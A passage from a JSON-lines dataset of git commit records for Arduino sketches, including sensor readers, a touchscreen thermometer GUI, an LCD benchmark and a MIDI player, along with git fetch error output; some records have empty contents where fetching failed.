rduino,smily77\/Arduino,paulo-raca\/ESP8266-Arduino,garci66\/Arduino,bobintornado\/Energia,raimohanska\/Arduino,ari-analytics\/Arduino,SmartArduino\/Arduino-1,381426068\/Arduino,stevemarple\/Arduino-org,stickbreaker\/Arduino,qtonthat\/Energia,stevemarple\/Arduino-org,ntruchsess\/Arduino-1,gberl001\/Arduino,eduardocasarin\/Arduino,stickbreaker\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,tommyli2014\/Arduino,pdNor\/Arduino,jmgonzalez00449\/Arduino,danielchalef\/Arduino,snargledorf\/Arduino,ms-iot\/Arduino,probonopd\/Arduino,stevemayhew\/Arduino,laylthe\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,meanbot\/Energia,jaimemaretoli\/Arduino,probonopd\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,ccoenen\/Arduino,plaintea\/esp8266-Arduino,ssvs111\/Arduino,nandojve\/Arduino,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,jamesrob4\/Arduino,ogahara\/Arduino,dvdvideo1234\/Energia,OpenDevice\/Arduino,stevemarple\/Arduino,PaintYourDragon\/Arduino,gonium\/Arduino,martianmartin\/Energia,zaiexx\/Arduino,bsmr-arduino\/Arduino,weera00\/Arduino,meanbot\/Energia,bobintornado\/Energia,lulufei\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,jaimemaretoli\/Arduino,eeijcea\/Arduino-1,bobintornado\/Energia,spapadim\/Arduino,koltegirish\/Arduino,steamboating\/Arduino,cevatbostancioglu\/Energia,NoPinky\/Energia,OpenDevice\/Arduino,Alfredynho\/AgroSis,drpjk\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,superboonie\/Arduino,tomkrus007\/Arduino,jadonk\/Energia,championswimmer\/Arduino,garci66\/Arduino,piersoft\/esp8266-Arduino,wdoganowski\/Arduino,bugobliterator\/BUAGI,me-no-dev\/Arduino-1,tskurauskas\/Arduino,zaiexx\/Arduino,danielohh\/Energia,ccoenen\/Arduino,DavidUser\/Energia,championswimmer\/Arduino,qtonthat\/Energia,lukeWal\/Arduino,karlitxo\/Arduino,ari-analytics\/Arduino","old_file":"build\/shared\/examples\/2.Digital\/DigitalIputPullup\/DigitalIputPullup.ino","new_file":"build\/shared\/examples\/2.Digital\/DigitalIputPullup\/DigitalIputPullup.ino","new_contents":"\/*\n Input Pullup Serial\n \n This example demonstrates the use of pinMode(INPUT_PULLUP). It reads a \n digital input on pin 2 and prints the results to the serial monitor.\n \n The circuit: \n * Momentary switch attached from pin 2 to ground \n \n Unlike pinMode(INPUT), there is no pull-down resistor necessary. An internal \n 20K-ohm resistor is pulled to 5V. This configuration causes the input to \n read HIGH when the switch is open, and LOW when it is closed. \n \n created 14 March 2012\n by Scott Fitzgerald\n \n This example code is in the public domain\n \n *\/\n\nvoid setup(){\n \/\/start serial connection\n Serial.begin(9600);\n \/\/configure pin2 as an input and enable the internal pull-up resistor\n pinMode(2, INPUT_PULLUP); \n\n}\n\nvoid loop(){\n \/\/read the pushbutton value into a variable\n int sensorVal = digitalRead(2);\n \/\/print out the value of the pushbutton\n Serial.println(sensorVal);\n \/\/brief delay\n delay(10);\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'build\/shared\/examples\/2.Digital\/DigitalIputPullup\/DigitalIputPullup.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"1fc5c1a00a6fde018c7f9df5f0b404e96cede603","subject":"Adds first draft of Light Shield Arduino-side code.","message":"Adds first draft of Light Shield Arduino-side code.\n","repos":"vmurahari3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,monstorium\/igvc-software,sgadgil6\/igvc-software,kscharm\/igvc-software,monstorium\/igvc-software,rortiz9\/igvc-software,jondolan\/igvc-software,sayakchatterjee\/igvc-software,vmurahari3\/igvc-software,rortiz9\/igvc-software,kscharm\/igvc-software,thaeds\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,prabhu-dev\/LineDetectorLengthFix,RoboJackets\/igvc-software,jgkamat\/igvc-software,sgadgil6\/igvc-software,vmurahari3\/igvc-software,monstorium\/igvc-software,monstorium\/igvc-software,dpattison3\/igvc-software,nareddyt\/igvc-software,thomaswyatt01\/igvc-software,kscharm\/igvc-software,sayakchatterjee\/igvc-software,prabhu-dev\/LineDetectorLengthFix,ytulsiani\/igvc-software,seanrsain\/igvc-software,nareddyt\/igvc-software,rortiz9\/igvc-software,seanrsain\/igvc-software,sayakchatterjee\/igvc-software,nareddyt\/igvc-software,thomaswyatt01\/igvc-software,monstorium\/igvc-software,rmkeezer\/igvc-software,sgadgil6\/igvc-software,rmkeezer\/igvc-software,zachcmathews\/igvc-software,zachcmathews\/igvc-software,DavidPurcell\/igvc-software,ytulsiani\/igvc-software,thaeds\/igvc-software,ytulsiani\/igvc-software,thomaswyatt01\/igvc-software,sayakchatterjee\/igvc-software,jondolan\/igvc-software,dpattison3\/igvc-software,thaeds\/igvc-software,DavidPurcell\/igvc-software,rmkeezer\/igvc-software,rqiu8\/igvc-software,RoboJackets\/igvc-software,seanrsain\/igvc-software,thomaswyatt01\/igvc-software,vmurahari3\/igvc-software,DavidPurcell\/igvc-software,rqiu8\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,DavidPurcell\/igvc-software,ytulsiani\/igvc-software,zachcmathews\/igvc-software,jgkamat\/igvc-software,jondolan\/igvc-software,jgkamat\/igvc-software,rqiu8\/igvc-software,seanrsain\/igvc-software,dpattison3\/igvc-software,jzheng84\/igvc-software,jgkamat\/igvc-software,dpattison3\/igvc-software,thaeds\/igvc-software,seanrsain\/igvc-software,sgadgil6\/igvc-software,thaeds\/igvc-software,jzheng84\/igvc-software,RoboJackets\/igvc-software,nareddyt\/igvc-software,RoboJackets\/igvc-software,jondolan\/igvc-software,thomaswyatt01\/igvc-software,jgkamat\/igvc-software,prabhu-dev\/LineDetectorLengthFix,zachcmathews\/igvc-software,sgadgil6\/igvc-software,DavidPurcell\/igvc-software,sayakchatterjee\/igvc-software,kscharm\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software","old_file":"arduino\/LightShield\/LightShield.ino","new_file":"arduino\/LightShield\/LightShield.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"91aca37d01a47310e93b301ba29bb405e0c45077","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"mcoms\/nerf-target","old_file":"arduino\/Nerf_Target\/Nerf_Target.ino","new_file":"arduino\/Nerf_Target\/Nerf_Target.ino","new_contents":"const int knockSensor = A0;\nconst int led = 13;\nconst int threshold = 10;\n\nint sensorReading = 0;\n\nvoid setup() {\n pinMode(led, OUTPUT);\n digitalWrite(led, HIGH);\n Serial.begin(9600);\n Serial.println(\"Nerf Target v0.0.1, github.com\/mcoms\/nerf-target, 2014.\");\n}\n\nvoid loop() {\n sensorReading = analogRead(knockSensor);\n if (sensorReading > threshold) {\n String packet = String(\"NP,\") + millis() + String(',') + sensorReading;\n Serial.println(packet);\n digitalWrite(led, LOW);\n }\n delay(100);\n digitalWrite(led, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Nerf_Target\/Nerf_Target.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"468c612cb819b4ba9e406d78b73725b2df6b9184","subject":"Added an example of using a thermistor to display temperature and activate two alarms: Hi and Low","message":"Added an example of using a thermistor to display temperature and activate two alarms: Hi and Low\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Touchscreen_GUI_Termometer\/Touchscreen_GUI_Termometer.ino","new_file":"examples\/Touchscreen_GUI_Termometer\/Touchscreen_GUI_Termometer.ino","new_contents":"\/**************************************************************\n *\n * Touchscreen_GUI_Template\n *\n * Use this template as a starting point.\n * The required libraries \"includes\" and configuration\n * sample code is provided to help you quickly create\n * a working sketch.\n *\n * This library was developed for Seeedstudio\n * TouchShield v2.0, based on their TFTv2 and SeeedTouchscreen\n * libraries. This library is intended to provide a minimal\n * but useful collection of reusable widgets that can be used\n * to create a Graphical User Interface (GUI) for any Arduino \n * project.\n *\n * Comment out (or delete) lines that are not required for your project.\n *\n * Author: Jose Rullan\n *\tRelease Date: 03\/28\/2015 -- Arduino Day 2015!!!\n *\tRelease Version: 0.1 beta\n *\n *\tLicense: Whatever only requires to give credit to original \n *\tauthor (i.e. Jose Rullan)\n *\n *\tCredits:\n *\t\n * \n *************************************************************\/\n\n\/\/ Required includes \n#include <SPI.h>\n#include <math.h>\n\n\/\/ TouchscreenGUI includes\n#include <Button.h>\n#include <Dial.h>\n#include <Display.h>\n#include <Gauge.h>\n#include <Numkey.h>\n\n\/\/ Create the objects\n\/\/==========================================\nCanvas canvas = Canvas(); \/\/ Memory used: (storage\/ram: 1,676\/36) 3,372\/228\nButton button = Button(); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\nDial dial = Dial(); \/\/ Memory used: (storage\/ram: 4,760\/64) 11756\/355\nDisplay disp = Display(); \/\/ Memory used: (storage\/ram: 484\/37) 12,240\/392\nGauge gauge = Gauge(); \/\/ Memory used: (storage\/ram: 1,470\/52) 13710\/444\nNumkey numkey = Numkey(); \/\/ Memory used: (storage\/ram: 2,370\/59) 16,080\/503\nButton btnPlus = Button(20,GRAY1,BLACK,WHITE);\t\/\/Initialization version for round buttons\nButton btnMinus = Button(20,GRAY1,BLACK,WHITE); \/\/Initialization version for round buttons\n\n\/\/ Global variables\n\/\/ If you need global variables in your program put them here,\n\/\/ before the setup() routine.\n#define LED1 10\n#define LED2 2\n\n#define TMP_PIN A4\n#define tempUpdate 5000\n\nfloat tempF;\nlong lastUpdate;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(LED1, OUTPUT);\n pinMode(LED2, OUTPUT);\n pinMode(7,OUTPUT);\n digitalWrite(7,HIGH);\n canvas.init(TFT_LANDSCAPE);\n\n \/\/Configure the widgets\n \/\/========================================= \n button.setSize(80,40);\n button.setColors(GRAY1,BLACK,WHITE);\n button.setText(\"Change\");\n button.setEventHandler(&buttonEventHandler);\n button.init();\n button.setDebounce(100); \n\n btnPlus.setText(\"+\");\n btnPlus.setEventHandler(&btnPlusEventHandler);\n btnPlus.init();\n btnPlus.setDebounce(100); \n\n btnMinus.setText(\"-\");\n btnMinus.setEventHandler(&btnMinusEventHandler);\n btnMinus.init();\n btnMinus.setDebounce(100); \n\n dial.setSize(50);\n dial.setColors(GRAY2,YELLOW,GRAY1);\n dial.setLimits(60,80,100);\n dial.init();\n dial.setHiLimit(90,RED);\n dial.setLowLimit(75,BLUE);\n \n disp.setSize(80,40);\n disp.setColors(BLACK,GREEN,GRAY2);\n disp.setText(\"\");\n disp.init();\n \n gauge.setSize(40,100);\n gauge.setColors(GRAY2,YELLOW,WHITE);\n gauge.setLimits(60,80,100);\n gauge.init();\n gauge.setHiLimit(90,RED);\n gauge.setLowLimit(75,BLUE);\n \n numkey.setSize(120,180);\n numkey.setColors(GRAY1,BLACK,WHITE);\n numkey.init();\n numkey.setNumkeyEventHandler(&numkeyEventHandler);\n numkey.setDebounce(100);\n \n \/\/ Add widgets to canvas\n \/\/ (Use layout template for coordinates)\n \/\/=========================================\n canvas.add(&button,105,0);\n canvas.add(&dial,55,110);\n canvas.add(&disp,5,0);\n canvas.add(&gauge,110,60);\n canvas.add(&btnPlus,200,60);\n canvas.add(&btnMinus,200,120);\n \n \/\/Numkey Notes:\n \/\/The numkey widget is meant to be a pop-up\n \/\/kind of widget. So it is added to the canvas \n \/\/when it is required. Upon pressing the = sign\n \/\/it will call it's event handler and after that\n \/\/it will automatically be removed from the canvas.\n \/\/To prevent this behavior then set\n \/\/\tnumkey.isPopUp = false; (By default = true)\n\t\/\/See buttonEventHandler below for an example.\n tempF = getTempF(TMP_PIN);\n dial.setCV((int) tempF);\n gauge.setCV((int) tempF);\n disp.setNum((int) tempF); \n}\n\n\nvoid loop() {\n float lastTemp = tempF;\n tempF = getTempF(TMP_PIN);\n if(tempF != lastTemp){\n if(millis()-lastUpdate > tempUpdate){\n dial.setCV((int) tempF);\n gauge.setCV((int) tempF);\n disp.setNum((int) tempF);\n if((unsigned int)tempF > dial.hiLimit){\n digitalWrite(LED2,HIGH);\n }else{\n digitalWrite(LED2,LOW);\n }\n if((unsigned int)tempF < dial.lowLimit){\n digitalWrite(LED1,HIGH);\n }else{\n digitalWrite(LED1,LOW);\n }\n lastUpdate = millis();\n }\n }\n canvas.scan();\n}\n\n\n\/\/ Event Handler Functions for buttons\n\/\/==========================================\nvoid buttonEventHandler(Button* btn){\n \/\/ Example of a pop-up num keypad.\n \/\/ When button is pressed, the numkey\n \/\/ is added to the canvas, and it is rendered\n \/\/ automatically.\n canvas.add(&numkey,195,0);\n}\n\nvoid btnPlusEventHandler(Button* btn){\n\tgauge.setCV(gauge.getCV()+5);\n\tdial.setCV(gauge.getCV());\n\tdisp.setNum(gauge.getCV());\n}\n\nvoid btnMinusEventHandler(Button* btn){\n\tif(gauge.getCV() < 5) return;\n\tgauge.setCV(gauge.getCV()-5);\n\tdial.setCV(gauge.getCV());\n\tdisp.setNum(gauge.getCV());\n}\n\nvoid numkeyEventHandler(Numkey* nk){\n\tif(nk->getTextSize()>0){\n\t\tdisp.setNum(nk->getNum());\n\t\tdial.setCV(nk->getNum());\n\t\tgauge.setCV(nk->getNum());\n\t\tnk->clear();\n }\n}\n\nfloat getTempC(int PIN){\n int a = analogRead(PIN);\n float resistance;\n int B = 3975; \/\/thermistor constant\n\n resistance = (float) (1023-a)*10000\/a;\n \n return 1\/(log(resistance\/10000)\/B + 1\/298.15) - 273.15;\n}\n\nfloat getTempF(int PIN){\n return getTempC(PIN)*9.0\/5.0+32.0;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Touchscreen_GUI_Termometer\/Touchscreen_GUI_Termometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e31f9284245a5c49e14429cf17efa3009dc661a","subject":"Adding a Cosa implementation of the NewLiquidCrystal library benchmarks.","message":"Adding a Cosa implementation of the NewLiquidCrystal library benchmarks.\n","repos":"kc9jud\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,dansut\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa","old_file":"examples\/LCD\/CosaLCDbench\/CosaLCDbench.ino","new_file":"examples\/LCD\/CosaLCDbench\/CosaLCDbench.ino","new_contents":"\/**\n * @file CosaLCDbench.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Benchmarking the LCD device drivers towards New LiquidCrystal\n * Library (https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/wiki\/).\n * This is a Cosa version of performanceLCD.pde.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/LCD\/Driver\/HD44780.hh\"\n\n\/\/ Select the LCD port for the benchmark\n\/\/ HD44780::Port port;\n\/\/ HD44780::SR3W port;\nHD44780::MJKDZ port;\n\/\/ HD44780::DFRobot port;\nHD44780 lcd(&port);\n\n\/\/ Benchmarks\ntypedef void (*benchmark_t)(uint16_t);\nvoid benchmark1(uint16_t nr);\nvoid benchmark2(uint16_t nr);\nvoid benchmark3(uint16_t nr);\nvoid benchmark4(uint16_t nr);\n\n\/\/ Measurement support\nvoid measure(const char* name, benchmark_t fn, uint16_t nr, uint16_t bytes);\n#define MEASURE(fn,bytes)\t\t\t\t\t\t\\\n do {\t\t\t\t\t\t\t\t\t\\\n measure(PSTR(#fn),fn,10,bytes);\t\t\t\t\t\\\n SLEEP(4);\t\t\t\t\t\t\t\t\\\n } while (0)\n\nvoid setup()\n{\n RTC::begin();\n Watchdog::begin();\n lcd.begin();\n trace.begin(&lcd, PSTR(\"CosaLCDbench: \"));\n SLEEP(2);\n}\n\n\/\/ Display configuration\nconst uint16_t WIDTH = 16;\nconst uint16_t HEIGHT = 2;\n\nvoid loop()\n{\n MEASURE(benchmark1, WIDTH * HEIGHT + 2);\n MEASURE(benchmark2, WIDTH * HEIGHT * 6 * 2);\n MEASURE(benchmark3, WIDTH * HEIGHT + 2);\n MEASURE(benchmark4, WIDTH * HEIGHT + 2);\n}\n\nvoid benchmark1(uint16_t nr)\n{\n while (nr--) {\n char c = ' ' + (nr & 0x1f);\n for (uint8_t height = 0; height < HEIGHT; height++) {\n lcd.set_cursor(0, height);\n for (uint8_t width = 0; width < WIDTH; width++)\n\tlcd.putchar(c);\n }\n }\n}\n\nvoid benchmark2(uint16_t nr)\n{\n while (nr--) {\n for (uint8_t c = 'A'; c <= 'A' + 5; c++) {\n for (uint8_t height = 0; height < HEIGHT; height++) {\n\tfor (uint8_t width = 0; width < WIDTH; width++) {\n\t lcd.set_cursor(width, height);\n\t lcd.putchar(c);\n\t}\n }\n }\n }\n}\n\n#define NUM_STR \"1234567890123456\"\n#define ALPHA_STR \"ABCDEFGHIJKLMNOP\"\n\nvoid benchmark3(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n lcd.puts(NUM_STR);\n lcd.set_cursor(0, 1);\n lcd.puts(ALPHA_STR);\n }\n}\n\nvoid benchmark4(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n lcd.puts_P(PSTR(NUM_STR));\n lcd.set_cursor(0, 1);\n lcd.puts_P(PSTR(ALPHA_STR));\n }\n}\n\nvoid measure(const char* name, benchmark_t fn, uint16_t nr, uint16_t bytes)\n{\n lcd.display_clear();\n lcd.puts_P(name);\n uint32_t start = RTC::micros();\n {\n fn(nr);\n }\n uint32_t us = (RTC::micros() - start) \/ nr;\n trace << clear << name << endl;\n trace << us << PSTR(\" us (\") << us \/ bytes << PSTR(\")\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LCD\/CosaLCDbench\/CosaLCDbench.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"db4d43eab639498acc58cc097b4dd82542a88a4d","subject":"added MidiDemoPlayer.ino","message":"added MidiDemoPlayer.ino\n","repos":"Seeed-Studio\/Music_Shield","old_file":"examples\/MidiDemoPlayer\/MidiDemoPlayer.ino","new_file":"examples\/MidiDemoPlayer\/MidiDemoPlayer.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n#include <arduino.h>\n#include <MusicPlayer.h>\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n player.beginInMidiFmt();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n player.midiDemoPlayer();\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MidiDemoPlayer\/MidiDemoPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed9a3d0dc227e0a63f2a83d735c3519ae2cf83ab","subject":"code borked","message":"code borked\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7ffd4e70e75a48c741acdd79468697eb97cabaf4","subject":"arduino ds18b20 temp checker","message":"arduino ds18b20 temp checker\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8f903abe1f02ce93e5569c7b3762080d56932ebd","subject":"Pince V3","message":"Pince V3\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module pince\/Tests\/pince\/pince.ino","new_file":"Module pince\/Tests\/pince\/pince.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'pince\/Tests\/pince\/pince.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb79292f5fe1935606656046d460ff63ce3ceaf1","subject":"Create sketch_onewire_DS18x20.ino","message":"Create sketch_onewire_DS18x20.ino","repos":"CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE","old_file":"OneWire\/sketch_onewire_DS18x20.ino","new_file":"OneWire\/sketch_onewire_DS18x20.ino","new_contents":"\/* One Wire - Example to Use \n\n We made the experiments with a Seeed Studio SEN08011P Temp Sensor\n the chip inside this sensor is the widely adopted DS18B20 product\n by Maxim\/Dallas! \n \n Keep in Mind : The ds.search(addr) works like an iterator, if a \n device is found the address is put in the byte addr[8] var \n but the next time the method is call without the reset_search()\n the ds.search(addr) search for next device! \n \n See the README.md file for a brief reference to the functions of \n the OneWire library. \n\n*\/ \n\n\/\/ -------------------------- Library ---------------------------\n\/\/ on pin 7 (a 4.7k resistor necessary if not Seeed Studio)\n#include <OneWire.h>\n\n\/\/ ---------------------------- Init ----------------------------\nbyte addr[8];\nbyte data[12];\n\nint type_s = 0;\nint i = 0;\n\nOneWire ds(7);\n\n\/\/ --------------------------- getChip --------------------------\nvoid getChip(byte a[8]){\n \/\/ the first ROM byte indicates which chip\n switch (a[0]) {\n case 0x10:\n Serial.println(\"Chip : DS18S20\"); \/\/ or old DS1820\n type_s = 1;\n break;\n case 0x28:\n Serial.println(\"Chip : DS18B20\");\n type_s = 0;\n break;\n case 0x22:\n Serial.println(\"Chip : DS1822\");\n type_s = 0;\n break;\n default:\n Serial.println(\"Device is not a DS18x20 family device.\");\n\n } \n}\n\n\/\/ -------------------------- printAddr() ------------------------\nvoid printAddr(byte ad[8]){\n Serial.print(\"Addr : \");\n for(i = 0; i < 8; i++){\n \n Serial.print(ad[i], HEX);\n Serial.print(\" \");\n }\n Serial.println(\"\");\n}\n\n\/\/ -------------------------- readData() ------------------------\nvoid readData(){\n \/\/ start conversion, with parasite power on at the end\n ds.write(0x44, 1);\n \/\/ maybe 750ms is enough, maybe not\n delay(1000); \n\n \/\/ reset the 1-wire bus. needed before communicating with any device\n ds.reset();\n \/\/ select a device based on its address. After a reset, this is needed \n \/\/ to choose which device you will use, and then all communication will \n \/\/ be with that device, until another reset\n ds.select(addr);\n \n \/\/ read the Scratchpad \n ds.write(0xBE); \n \n Serial.print(\"Data : \");\n \/\/ read the 9 bytes of the Scratchpad (12 bytes with other models)\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n Serial.println(\"\");\n\n}\n\n\/\/ ------------------------- printCRC() ------------------------\nvoid printCRC(byte dta[12]){\n Serial.print(\"CRC : \");\n Serial.print(OneWire::crc8(data, 8), HEX);\n Serial.println();\n}\n\n\/\/ -------------------------- getTemp() -------------------------\n\/\/ convert : 16bit signed integer -> should be stored in init16_t\nfloat getTemp(){\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n return (float)raw \/ 16.0; \n} \n\n\/\/ ------------------------- printTemp() ------------------------\nvoid printTemp(){\n Serial.print(\"Temp : \");\n Serial.println(getTemp());\n}\n\n\/\/ --------------------------- SetUp ----------------------------\nvoid setup() {\n \/\/ start the serial comm \n Serial.begin(9600);\n\n}\n\n\/\/ ---------------------------- Loop ----------------------------\nvoid loop(void) { \n \n \/\/ Search next device, addr is an 8 byte array. device is found 1\n if(!ds.search(addr)){\n Serial.println(\"NO Address\");\n ds.reset_search();\n delay(250);\n }else{\n Serial.println(\" \");\n \/\/ print the Chip type \n getChip(addr);\n printAddr(addr);\n readData();\n printCRC(data);\n printTemp();\n \n \/\/ reset the addr \n ds.reset_search();\n delay(250);\n }\n \n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OneWire\/sketch_onewire_DS18x20.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e7eb14918516da32732c3156ee46fed1ed0db1f","subject":"Create sensorflare-publish.ino","message":"Create sensorflare-publish.ino","repos":"LPFraile\/Sensorflare-SparkCore","old_file":"examples\/sensorflare-publish.ino","new_file":"examples\/sensorflare-publish.ino","new_contents":"\/\/Include the SensorFlare library \n#include \"sensorflare.h\"\n\n\/\/Initialize objects from the library\n\n\/\/One object of the class \"PWMOut\" is initialized for \n\/\/every PWM output that will be remote control\nSensorFlare::PWMOut pwm(A0);\n\n\/\/One object of the class \"VarPublish\" is initialized for every variable\n\/\/that will be published in order to access remotly from the cloud\n\/\/The argument that name the varible has a maximum of 12 characters\n\/\/Both methods initialized the variable that will be published as PUBLIC \nSensorFlare::VarPublish varTem(\"temperature\");\nSensorFlare::VarPublish varPir(\"pir\",\"PUBLIC\");\n\/\/Initialized the variable that will be published as PRIVATE\nSensorFlare::VarPublish varLight(\"light\",\"PRIVATE\");\n\n\/\/ Initialize the different variables that will be used in the program\nint tem_pin=A3;\nint light_pin=A4;\nint pir_pin=D0;\nint status;\nint new_status;\nbool change;\n\nvoid setup() {\n \n\/\/ Call the begin() functions for every object of the classes \"DigitalOut\" and \n\/\/\"PWMout\" to be wired up correct and available.\n\n pwm.begin();\n \n\/\/Set the extra pins that are used on the program, but are not controlled remotely\n pinMode(pir_pin,INPUT);\n\n}\n\nvoid loop() {\n \n \/\/ Temperature sensor\n float tem= analogRead(tem_pin); \/\/ read value from the sensor\n \/\/ The returned value from the Core is going to be in the range from 0 to 4095\n \/\/ Calculate the voltage from the sensor reading\n float voltage = (tem * 3.3) \/ 4095;\n float deg =voltage* 100; \/\/ multiply by 100 to get degrees in K\n float temperature = deg - 273.15; \/\/ subtract absolute zero to get degrees Celsius\n \n \/\/Luminosity\n float photocell= analogRead(light_pin); \/\/ read value from the sensor\n \/\/ The returned value from the Core is going to be in the range from 0 to 4095\n \/\/ Calculate the voltage from the sensor reading\n float Vphotocell = ((photocell * 3.3) \/ 4095);\n float rl=(Vphotocell*10)\/(3.3-Vphotocell);\/\/Photoresistor value in K\u03a9\n float value=500\/rl;\/\/luminosity \n int light= (int) value; \n \n \/\/Find the change of state of the PIR sensor. Recognize move\n new_status=digitalRead(pir_pin);\n if (status!=new_status){\n status=new_status;\n change=TRUE;\n }\n \n \/\/Publish every time that exist a change in the pin on which is connect the output of the PIR\n if (change==TRUE) {\n varPir.Publish(status,0);\/\/Publish the variable at the called method time \n change=FALSE;\n }\n \n \/\/Publish the variables every 15 seconds.\n varTem.Publish(temperature,15);\n varLight.Publish(light,15);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/sensorflare-publish.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e65f87f23db4891db8670f6956395ae86022a140","subject":"Add comment header.","message":"Add comment header.\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 